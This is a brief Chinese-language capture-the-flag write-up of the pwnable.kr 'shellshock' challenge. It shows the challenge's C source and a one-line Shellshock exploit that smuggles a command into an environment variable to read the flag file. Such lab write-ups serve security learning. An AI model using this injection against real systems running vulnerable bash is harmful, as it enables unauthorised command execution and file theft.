【pwnable.kr-----解题过程】shellshock

来源:互联网 发布:photoshopcs4软件下载 编辑:程序博客网 时间:2024/05/18 05:35
#include <stdio.h>int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c 'echo shock_me'");return 0;}

根据题目一下子可以看出来这是shellshock(破壳)的利用,google一下利用方法,补上对应语句即可:

env x='() { :;}; /bin/cat flag' ./shellshock

注意一点是在使用的时候cat需要写成/bin/cat:

0 0